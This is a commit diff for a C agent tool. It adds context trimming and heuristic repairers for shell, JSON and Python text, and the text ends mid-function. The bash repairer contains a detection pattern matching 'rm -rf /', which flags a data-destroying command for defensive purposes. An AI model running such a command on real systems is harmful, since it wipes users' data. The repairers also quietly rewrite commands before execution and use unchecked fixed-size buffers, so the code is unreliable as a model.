Update.
This commit is contained in:
parent
1f381906d1
commit
df124bb10b
10
Makefile
10
Makefile
@ -18,6 +18,7 @@ SRC_CORE = $(SRCDIR)/r_error.c \
|
||||
$(SRCDIR)/agent.c \
|
||||
$(SRCDIR)/bash_executor.c \
|
||||
$(SRCDIR)/context_manager.c \
|
||||
$(SRCDIR)/r_diff.c \
|
||||
$(SRCDIR)/main.c
|
||||
|
||||
SRC_TOOLS = $(TOOLSDIR)/tools_init.c \
|
||||
@ -26,7 +27,14 @@ SRC_TOOLS = $(TOOLSDIR)/tools_init.c \
|
||||
$(TOOLSDIR)/tool_db.c \
|
||||
$(TOOLSDIR)/tool_http.c \
|
||||
$(TOOLSDIR)/tool_python.c \
|
||||
$(TOOLSDIR)/tool_indexer.c
|
||||
$(TOOLSDIR)/tool_indexer.c \
|
||||
$(TOOLSDIR)/tool_code.c \
|
||||
$(TOOLSDIR)/tool_file_edit.c \
|
||||
$(TOOLSDIR)/tool_system.c \
|
||||
$(TOOLSDIR)/tool_network.c \
|
||||
$(TOOLSDIR)/tool_dns.c \
|
||||
$(TOOLSDIR)/tool_automation.c \
|
||||
$(TOOLSDIR)/tool_csv.c
|
||||
|
||||
SRC = $(SRC_CORE) $(SRC_TOOLS)
|
||||
|
||||
|
||||
8
include/bash_repair.h
Normal file
8
include/bash_repair.h
Normal file
@ -0,0 +1,8 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#ifndef BASH_REPAIR_H
|
||||
#define BASH_REPAIR_H
|
||||
|
||||
char *bash_repair_command(const char *src);
|
||||
|
||||
#endif
|
||||
20
include/context_manager.h
Normal file
20
include/context_manager.h
Normal file
@ -0,0 +1,20 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#ifndef R_CONTEXT_MANAGER_H
|
||||
#define R_CONTEXT_MANAGER_H
|
||||
|
||||
#include "messages.h"
|
||||
#include "r_error.h"
|
||||
|
||||
/**
|
||||
* Shrinks the context of the given messages to fit within model limits.
|
||||
* Uses a smart trimming algorithm:
|
||||
* 1. Truncates the middle of large messages (preserving start and end).
|
||||
* 2. Removes oldest conversation pairs (user/assistant) if needed.
|
||||
* 3. Never touches the 'system' message or the very last user message.
|
||||
*
|
||||
* Returns R_SUCCESS if shrinkage was performed, or error if not possible.
|
||||
*/
|
||||
r_status_t context_manager_shrink(messages_handle msgs);
|
||||
|
||||
#endif
|
||||
8
include/json_repair.h
Normal file
8
include/json_repair.h
Normal file
@ -0,0 +1,8 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#ifndef JSON_REPAIR_H
|
||||
#define JSON_REPAIR_H
|
||||
|
||||
char *json_repair_string(const char *src);
|
||||
|
||||
#endif
|
||||
8
include/python_repair.h
Normal file
8
include/python_repair.h
Normal file
@ -0,0 +1,8 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#ifndef PYTHON_REPAIR_H
|
||||
#define PYTHON_REPAIR_H
|
||||
|
||||
char *python_repair_code(const char *src);
|
||||
|
||||
#endif
|
||||
16
include/r_diff.h
Normal file
16
include/r_diff.h
Normal file
@ -0,0 +1,16 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#ifndef R_DIFF_H
|
||||
#define R_DIFF_H
|
||||
|
||||
/**
|
||||
* Prints a beautiful, colorized diff between two strings to stderr.
|
||||
* Mimics the style of 'git diff'.
|
||||
*
|
||||
* @param path The path of the file being changed (for the header).
|
||||
* @param old_content The original content.
|
||||
* @param new_content The new content.
|
||||
*/
|
||||
void r_diff_print(const char *path, const char *old_content, const char *new_content);
|
||||
|
||||
#endif
|
||||
238
src/bash_repair.c
Normal file
238
src/bash_repair.c
Normal file
@ -0,0 +1,238 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "bash_repair.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <ctype.h>
|
||||
|
||||
static char *ensure_shebang(const char *text) {
|
||||
if (!text || !*text) return strdup("");
|
||||
|
||||
// Check if it already has a shebang
|
||||
const char *p = text;
|
||||
while (*p && isspace((unsigned char)*p)) p++;
|
||||
if (strncmp(p, "#!", 2) == 0 || strncmp(p, ": <<", 4) == 0) {
|
||||
return strdup(text);
|
||||
}
|
||||
|
||||
// Heuristic: if it has multiple lines, add shebang
|
||||
if (strchr(text, '\n')) {
|
||||
char *result = malloc(strlen(text) + 32);
|
||||
if (!result) return strdup(text);
|
||||
strcpy(result, "#!/usr/bin/env bash\n");
|
||||
strcat(result, text);
|
||||
return result;
|
||||
}
|
||||
|
||||
return strdup(text);
|
||||
}
|
||||
|
||||
static char *normalize_whitespace_and_operators(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len * 2 + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *curr = src;
|
||||
|
||||
while (*curr) {
|
||||
if (*curr == '\r') {
|
||||
curr++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Detect operators to normalize spaces around them
|
||||
const char *ops[] = {"||", "&&", ">>", "|&", "|", ";", ">", "<", NULL};
|
||||
bool matched_op = false;
|
||||
for (int i = 0; ops[i]; i++) {
|
||||
size_t op_len = strlen(ops[i]);
|
||||
if (strncmp(curr, ops[i], op_len) == 0) {
|
||||
// Remove preceding spaces in dst if any
|
||||
while (dst > result && isspace((unsigned char)*(dst - 1)) && *(dst - 1) != '\n') dst--;
|
||||
|
||||
if (dst > result && *(dst - 1) != '\n') *dst++ = ' ';
|
||||
memcpy(dst, ops[i], op_len);
|
||||
dst += op_len;
|
||||
curr += op_len;
|
||||
|
||||
// Skip following spaces in curr
|
||||
while (*curr && isspace((unsigned char)*curr) && *curr != '\n') curr++;
|
||||
if (*curr && *curr != '\n') *dst++ = ' ';
|
||||
|
||||
matched_op = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!matched_op) {
|
||||
*dst++ = *curr++;
|
||||
}
|
||||
}
|
||||
*dst = '\0';
|
||||
|
||||
// Second pass to strip trailing spaces on each line
|
||||
char *s2 = strdup(result);
|
||||
free(result);
|
||||
if (!s2) return NULL;
|
||||
|
||||
char *final = malloc(strlen(s2) + 1);
|
||||
char *f_ptr = final;
|
||||
char *line = s2;
|
||||
while (line && *line) {
|
||||
char *next_line = strchr(line, '\n');
|
||||
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
|
||||
|
||||
const char *end = line + line_len - 1;
|
||||
while (end >= line && isspace((unsigned char)*end)) end--;
|
||||
|
||||
size_t new_len = (size_t)(end - line + 1);
|
||||
memcpy(f_ptr, line, new_len);
|
||||
f_ptr += new_len;
|
||||
if (next_line) {
|
||||
*f_ptr++ = '\n';
|
||||
line = next_line + 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
*f_ptr = '\0';
|
||||
free(s2);
|
||||
return final;
|
||||
}
|
||||
|
||||
static char *fix_line_issues(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len * 2 + 1024);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *line = src;
|
||||
|
||||
while (line && *line) {
|
||||
const char *next_line = strchr(line, '\n');
|
||||
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
|
||||
|
||||
char line_buf[4096];
|
||||
if (line_len >= sizeof(line_buf)) line_len = sizeof(line_buf) - 1;
|
||||
memcpy(line_buf, line, line_len);
|
||||
line_buf[line_len] = '\0';
|
||||
|
||||
// 1. Tiny Shell Lint (else if -> elif)
|
||||
char *else_if = strstr(line_buf, "else if ");
|
||||
if (else_if) {
|
||||
// Very basic replacement
|
||||
memmove(else_if + 4, else_if + 8, strlen(else_if + 8) + 1);
|
||||
memcpy(else_if, "elif", 4);
|
||||
}
|
||||
|
||||
// 2. Fix unbalanced quotes
|
||||
int single = 0, double_q = 0;
|
||||
bool escaped = false;
|
||||
for (size_t i = 0; i < strlen(line_buf); i++) {
|
||||
if (escaped) { escaped = false; continue; }
|
||||
if (line_buf[i] == '\\') escaped = true;
|
||||
else if (line_buf[i] == '\'') single++;
|
||||
else if (line_buf[i] == '"') double_q++;
|
||||
}
|
||||
if (single % 2 == 1 && double_q == 0) strcat(line_buf, "'");
|
||||
else if (double_q % 2 == 1 && single == 0) strcat(line_buf, "\"");
|
||||
|
||||
// 3. Fix trailing operators
|
||||
size_t cur_len = strlen(line_buf);
|
||||
const char *ops[] = {"||", "&&", ">>", "|&", "|", ">", "<", NULL};
|
||||
for (int i = 0; ops[i]; i++) {
|
||||
size_t op_len = strlen(ops[i]);
|
||||
if (cur_len >= op_len) {
|
||||
if (strcmp(line_buf + cur_len - op_len, ops[i]) == 0) {
|
||||
// Comment it
|
||||
char temp[4096];
|
||||
strcpy(temp, line_buf);
|
||||
temp[cur_len - op_len] = '\0';
|
||||
strcat(temp, "# ");
|
||||
strcat(temp, ops[i]);
|
||||
strcpy(line_buf, temp);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Dangerous rm -rf check
|
||||
if (strstr(line_buf, "sudo rm -rf /") || strstr(line_buf, "rm -rf / ")) {
|
||||
strcpy(dst, "# WARNING: potentially destructive command detected\n");
|
||||
dst += strlen(dst);
|
||||
}
|
||||
|
||||
strcpy(dst, line_buf);
|
||||
dst += strlen(dst);
|
||||
if (next_line) *dst++ = '\n';
|
||||
|
||||
if (next_line) line = next_line + 1;
|
||||
else break;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *collapse_nested_bash_c(const char *src) {
|
||||
if (!src) return NULL;
|
||||
// Pattern: bash -c "bash -c '...'")
|
||||
// We'll just do a very basic string replacement for common variants
|
||||
char *s1 = strdup(src);
|
||||
char *patterns[] = {
|
||||
"bash -c \"bash -c '",
|
||||
"bash -c 'bash -c \"",
|
||||
NULL
|
||||
};
|
||||
|
||||
for (int i = 0; patterns[i]; i++) {
|
||||
char *p;
|
||||
while ((p = strstr(s1, patterns[i]))) {
|
||||
// Find closing quotes
|
||||
char outer = patterns[i][8]; // " or '
|
||||
char inner = patterns[i][18]; // ' or "
|
||||
|
||||
char *inner_end = strchr(p + 19, inner);
|
||||
if (inner_end && *(inner_end + 1) == outer) {
|
||||
// We can collapse.
|
||||
// Original: [p]bash -c "bash -c 'cmd'"[end]
|
||||
// New: [p]bash -c 'cmd'[end]
|
||||
size_t cmd_len = (size_t)(inner_end - (p + 19));
|
||||
char *new_s = malloc(strlen(s1) + 1);
|
||||
size_t prefix_len = (size_t)(p - s1);
|
||||
memcpy(new_s, s1, prefix_len);
|
||||
char *d = new_s + prefix_len;
|
||||
strcpy(d, "bash -c ");
|
||||
d += 8;
|
||||
*d++ = inner;
|
||||
memcpy(d, p + 19, cmd_len);
|
||||
d += cmd_len;
|
||||
*d++ = inner;
|
||||
strcpy(d, inner_end + 2);
|
||||
|
||||
free(s1);
|
||||
s1 = new_s;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return s1;
|
||||
}
|
||||
|
||||
char *bash_repair_command(const char *src) {
|
||||
if (!src) return NULL;
|
||||
|
||||
char *s1 = normalize_whitespace_and_operators(src);
|
||||
char *s2 = fix_line_issues(s1);
|
||||
free(s1);
|
||||
char *s3 = collapse_nested_bash_c(s2);
|
||||
free(s2);
|
||||
char *s4 = ensure_shebang(s3);
|
||||
free(s3);
|
||||
|
||||
return s4;
|
||||
}
|
||||
111
src/context_manager.c
Normal file
111
src/context_manager.c
Normal file
@ -0,0 +1,111 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "context_manager.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TRUNCATE_THRESHOLD 2000
|
||||
#define TRUNCATE_KEEP_START 800
|
||||
#define TRUNCATE_KEEP_END 800
|
||||
#define TRUNCATE_MARKER "\n\n[... content truncated for context management ...]\n\n"
|
||||
|
||||
static bool is_system_message(struct json_object *msg) {
|
||||
struct json_object *role_obj;
|
||||
if (json_object_object_get_ex(msg, "role", &role_obj)) {
|
||||
return strcmp(json_object_get_string(role_obj), "system") == 0;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static r_status_t truncate_middle(messages_handle msgs, int index) {
|
||||
struct json_object *msg = messages_get_object(msgs, index);
|
||||
if (!msg) return R_ERROR_NOT_FOUND;
|
||||
|
||||
struct json_object *content_obj;
|
||||
const char *content = NULL;
|
||||
bool is_tool_result = false;
|
||||
|
||||
if (json_object_object_get_ex(msg, "content", &content_obj)) {
|
||||
content = json_object_get_string(content_obj);
|
||||
} else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) {
|
||||
content = json_object_get_string(content_obj);
|
||||
is_tool_result = true;
|
||||
}
|
||||
|
||||
if (!content) return R_SUCCESS;
|
||||
|
||||
size_t len = strlen(content);
|
||||
if (len <= TRUNCATE_THRESHOLD) return R_SUCCESS;
|
||||
|
||||
char *new_content = malloc(TRUNCATE_KEEP_START + strlen(TRUNCATE_MARKER) + TRUNCATE_KEEP_END + 1);
|
||||
if (!new_content) return R_ERROR_OUT_OF_MEMORY;
|
||||
|
||||
strncpy(new_content, content, TRUNCATE_KEEP_START);
|
||||
new_content[TRUNCATE_KEEP_START] = '\0';
|
||||
strcat(new_content, TRUNCATE_MARKER);
|
||||
strcat(new_content, content + len - TRUNCATE_KEEP_END);
|
||||
|
||||
struct json_object *new_msg = json_object_get(msg); // Increments ref count
|
||||
if (is_tool_result) {
|
||||
json_object_object_add(new_msg, "tool_result", json_object_new_string(new_content));
|
||||
} else {
|
||||
json_object_object_add(new_msg, "content", json_object_new_string(new_content));
|
||||
}
|
||||
|
||||
free(new_content);
|
||||
return messages_replace_at(msgs, index, new_msg);
|
||||
}
|
||||
|
||||
r_status_t context_manager_shrink(messages_handle msgs) {
|
||||
if (!msgs) return R_ERROR_INVALID_ARG;
|
||||
|
||||
int count = messages_count(msgs);
|
||||
if (count <= 1) return R_ERROR_API_ERROR; // Cannot shrink further
|
||||
|
||||
fprintf(stderr, " \033[2m-> Context limit reached, compressing history...\033[0m\n");
|
||||
|
||||
// Phase 1: Truncate large messages in history (middle-cut)
|
||||
// We skip the last message as it's usually the one we just added or the latest prompt
|
||||
bool truncated_any = false;
|
||||
for (int i = 0; i < count - 1; i++) {
|
||||
struct json_object *msg = messages_get_object(msgs, i);
|
||||
if (is_system_message(msg)) continue;
|
||||
|
||||
struct json_object *content_obj;
|
||||
const char *content = NULL;
|
||||
if (json_object_object_get_ex(msg, "content", &content_obj)) {
|
||||
content = json_object_get_string(content_obj);
|
||||
} else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) {
|
||||
content = json_object_get_string(content_obj);
|
||||
}
|
||||
|
||||
if (content && strlen(content) > TRUNCATE_THRESHOLD) {
|
||||
if (truncate_middle(msgs, i) == R_SUCCESS) {
|
||||
truncated_any = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (truncated_any) return R_SUCCESS;
|
||||
|
||||
// Phase 2: Historical Eviction (remove oldest non-system pairs)
|
||||
// We look for the first non-system message
|
||||
int first_removable = -1;
|
||||
for (int i = 0; i < count - 1; i++) {
|
||||
struct json_object *msg = messages_get_object(msgs, i);
|
||||
if (!is_system_message(msg)) {
|
||||
first_removable = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first_removable != -1 && first_removable < count - 1) {
|
||||
// Remove 2 messages to keep user/assistant pairs if possible,
|
||||
// or just one if it's a tool sequence
|
||||
int to_remove = (count - first_removable > 2) ? 2 : 1;
|
||||
return messages_remove_range(msgs, first_removable, to_remove);
|
||||
}
|
||||
|
||||
return R_ERROR_API_ERROR;
|
||||
}
|
||||
378
src/json_repair.c
Normal file
378
src/json_repair.c
Normal file
@ -0,0 +1,378 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "json_repair.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <ctype.h>
|
||||
|
||||
static char *strip_comments(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
char *result = malloc(len + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*p == '"') {
|
||||
in_string = !in_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_string) {
|
||||
if (*p == '/' && *(p + 1) == '/') {
|
||||
while (*p && *p != '\n') p++;
|
||||
continue;
|
||||
}
|
||||
if (*p == '/' && *(p + 1) == '*') {
|
||||
p += 2;
|
||||
while (*p && !(*p == '*' && *(p + 1) == '/')) p++;
|
||||
if (*p) p += 2;
|
||||
continue;
|
||||
}
|
||||
if (*p == '#') {
|
||||
while (*p && *p != '\n') p++;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
*dst++ = *p++;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *normalize_quotes(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
// Over-allocate because single quotes might be replaced by double quotes + escaping
|
||||
char *result = malloc(len * 2 + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_double_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
// Smart quote replacement
|
||||
if ((unsigned char)*p == 0xE2 && (unsigned char)*(p+1) == 0x80) {
|
||||
if ((unsigned char)*(p+2) == 0x9C || (unsigned char)*(p+2) == 0x9D) { // “ or ”
|
||||
*dst++ = '"';
|
||||
p += 3;
|
||||
continue;
|
||||
}
|
||||
if ((unsigned char)*(p+2) == 0x98 || (unsigned char)*(p+2) == 0x99) { // ‘ or ’
|
||||
*dst++ = '\'';
|
||||
p += 3;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*p == '"') {
|
||||
in_double_string = !in_double_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_double_string && *p == '\'') {
|
||||
// Heuristic: convert '...' to "..."
|
||||
*dst++ = '"';
|
||||
p++;
|
||||
while (*p && *p != '\'') {
|
||||
if (*p == '\\' && *(p+1)) {
|
||||
*dst++ = *p++;
|
||||
*dst++ = *p++;
|
||||
} else if (*p == '"') {
|
||||
*dst++ = '\\';
|
||||
*dst++ = '"';
|
||||
p++;
|
||||
} else {
|
||||
*dst++ = *p++;
|
||||
}
|
||||
}
|
||||
if (*p == '\'') {
|
||||
*dst++ = '"';
|
||||
p++;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
*dst++ = *p++;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *remove_trailing_commas(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
char *result = malloc(len + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
if (*p == '"') {
|
||||
in_string = !in_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_string && *p == ',') {
|
||||
// Check if next non-ws char is ] or }
|
||||
const char *next = p + 1;
|
||||
while (*next && isspace((unsigned char)*next)) next++;
|
||||
if (*next == ']' || *next == '}') {
|
||||
p = next; // Skip the comma
|
||||
continue;
|
||||
}
|
||||
}
|
||||
*dst++ = *p++;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *quote_unquoted_keys(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
char *result = malloc(len * 2 + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
if (*p == '"') {
|
||||
in_string = !in_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_string && (isalnum((unsigned char)*p) || *p == '_' || *p == '-')) {
|
||||
// Potential unquoted key?
|
||||
// A key usually follows '{' or ',' and is followed by ':'
|
||||
// Heuristic: if we are at start of an identifier, check if it ends with ':'
|
||||
|
||||
// Check backwards for { or ,
|
||||
const char *prev = p - 1;
|
||||
while (prev >= src && isspace((unsigned char)*prev)) prev--;
|
||||
|
||||
if (prev >= src && (*prev == '{' || *prev == ',')) {
|
||||
const char *end = p;
|
||||
while (*end && (isalnum((unsigned char)*end) || *end == '_' || *end == '-')) end++;
|
||||
const char *after = end;
|
||||
while (*after && isspace((unsigned char)*after)) after++;
|
||||
|
||||
if (*after == ':') {
|
||||
// It is an unquoted key!
|
||||
*dst++ = '"';
|
||||
while (p < end) *dst++ = *p++;
|
||||
*dst++ = '"';
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
*dst++ = *p++;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *balance_brackets(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
char *result = malloc(len + 1024);
|
||||
if (!result) return NULL;
|
||||
|
||||
char stack[1024];
|
||||
int top = 0;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
if (*p == '"') {
|
||||
in_string = !in_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_string) {
|
||||
if (*p == '{' || *p == '[') {
|
||||
if (top < 1024) stack[top++] = *p;
|
||||
} else if (*p == '}' || *p == ']') {
|
||||
if (top > 0) {
|
||||
char expected = (*p == '}') ? '{' : '[';
|
||||
if (stack[top - 1] == expected) {
|
||||
top--;
|
||||
}
|
||||
} else {
|
||||
// Mismatched closing; skip it
|
||||
p++;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
*dst++ = *p++;
|
||||
}
|
||||
|
||||
while (top > 0) {
|
||||
char opener = stack[--top];
|
||||
*dst++ = (opener == '{') ? '}' : ']';
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *compact_json(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t len = strlen(src);
|
||||
char *result = malloc(len + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
bool in_string = false;
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
if (escaped) {
|
||||
*dst++ = *p++;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
if (*p == '\\') {
|
||||
*dst++ = *p++;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
if (*p == '"') {
|
||||
in_string = !in_string;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!in_string && isspace((unsigned char)*p)) {
|
||||
p++;
|
||||
continue;
|
||||
}
|
||||
*dst++ = *p++;
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
char *json_repair_string(const char *src) {
|
||||
if (!src) return NULL;
|
||||
|
||||
// Find the first occurrence of { or [
|
||||
const char *start_ptr = src;
|
||||
while (*start_ptr && *start_ptr != '{' && *start_ptr != '[') start_ptr++;
|
||||
if (!*start_ptr) return strdup(src); // No JSON structure found, return as is
|
||||
|
||||
char *s1 = strip_comments(start_ptr);
|
||||
char *s2 = normalize_quotes(s1);
|
||||
free(s1);
|
||||
char *s3 = quote_unquoted_keys(s2);
|
||||
free(s2);
|
||||
char *s4 = remove_trailing_commas(s3);
|
||||
free(s3);
|
||||
char *s5 = balance_brackets(s4);
|
||||
free(s4);
|
||||
|
||||
// Heuristic: truncate after the first complete object/array
|
||||
int depth = 0;
|
||||
bool in_str = false;
|
||||
bool esc = false;
|
||||
char *p = s5;
|
||||
while (*p) {
|
||||
if (esc) { esc = false; }
|
||||
else if (*p == '\\') { esc = true; }
|
||||
else if (*p == '"') { in_str = !in_str; }
|
||||
else if (!in_str) {
|
||||
if (*p == '{' || *p == '[') depth++;
|
||||
else if (*p == '}' || *p == ']') {
|
||||
depth--;
|
||||
if (depth == 0) {
|
||||
*(p + 1) = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
p++;
|
||||
}
|
||||
|
||||
char *s6 = compact_json(s5);
|
||||
free(s5);
|
||||
|
||||
return s6;
|
||||
}
|
||||
330
src/python_repair.c
Normal file
330
src/python_repair.c
Normal file
@ -0,0 +1,330 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "python_repair.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <ctype.h>
|
||||
#include <math.h>
|
||||
|
||||
#define INDENT_WIDTH 4
|
||||
|
||||
static char *dedent_code(const char *src) {
|
||||
if (!src || !*src) return strdup("");
|
||||
|
||||
int min_indent = -1;
|
||||
const char *line = src;
|
||||
while (line && *line) {
|
||||
int indent = 0;
|
||||
while (line[indent] == ' ' || line[indent] == '\t') indent++;
|
||||
|
||||
if (line[indent] != '\n' && line[indent] != '\0') {
|
||||
if (min_indent == -1 || indent < min_indent) min_indent = indent;
|
||||
}
|
||||
|
||||
line = strchr(line, '\n');
|
||||
if (line) line++;
|
||||
}
|
||||
|
||||
if (min_indent <= 0) return strdup(src);
|
||||
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len + 1);
|
||||
if (!result) return strdup(src);
|
||||
|
||||
char *dst = result;
|
||||
const char *curr = src;
|
||||
while (curr && *curr) {
|
||||
int to_skip = min_indent;
|
||||
while (to_skip > 0 && (*curr == ' ' || *curr == '\t')) {
|
||||
curr++;
|
||||
to_skip--;
|
||||
}
|
||||
|
||||
const char *next_line = strchr(curr, '\n');
|
||||
if (next_line) {
|
||||
size_t line_len = (size_t)(next_line - curr + 1);
|
||||
memcpy(dst, curr, line_len);
|
||||
dst += line_len;
|
||||
curr = next_line + 1;
|
||||
} else {
|
||||
strcpy(dst, curr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *normalize_indentation(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len * 2 + 1); // Extra space for normalized indents
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *line = src;
|
||||
while (line && *line) {
|
||||
const char *next_line = strchr(line, '\n');
|
||||
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
|
||||
|
||||
// Check if line is empty or just whitespace
|
||||
bool is_empty = true;
|
||||
for (size_t i = 0; i < line_len; i++) {
|
||||
if (!isspace((unsigned char)line[i])) {
|
||||
is_empty = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (is_empty) {
|
||||
if (next_line) {
|
||||
*dst++ = '\n';
|
||||
line = next_line + 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Calculate current leading indent
|
||||
int leading_spaces = 0;
|
||||
const char *content_ptr = line;
|
||||
while (content_ptr < (line + line_len) && (*content_ptr == ' ' || *content_ptr == '\t')) {
|
||||
if (*content_ptr == '\t') {
|
||||
leading_spaces += INDENT_WIDTH;
|
||||
} else {
|
||||
leading_spaces++;
|
||||
}
|
||||
content_ptr++;
|
||||
}
|
||||
|
||||
// Round to nearest INDENT_WIDTH
|
||||
int normalized_level = (leading_spaces + INDENT_WIDTH / 2) / INDENT_WIDTH;
|
||||
int target_spaces = normalized_level * INDENT_WIDTH;
|
||||
|
||||
for (int i = 0; i < target_spaces; i++) *dst++ = ' ';
|
||||
|
||||
size_t content_len = (size_t)((line + line_len) - content_ptr);
|
||||
memcpy(dst, content_ptr, content_len);
|
||||
dst += content_len;
|
||||
|
||||
if (next_line) {
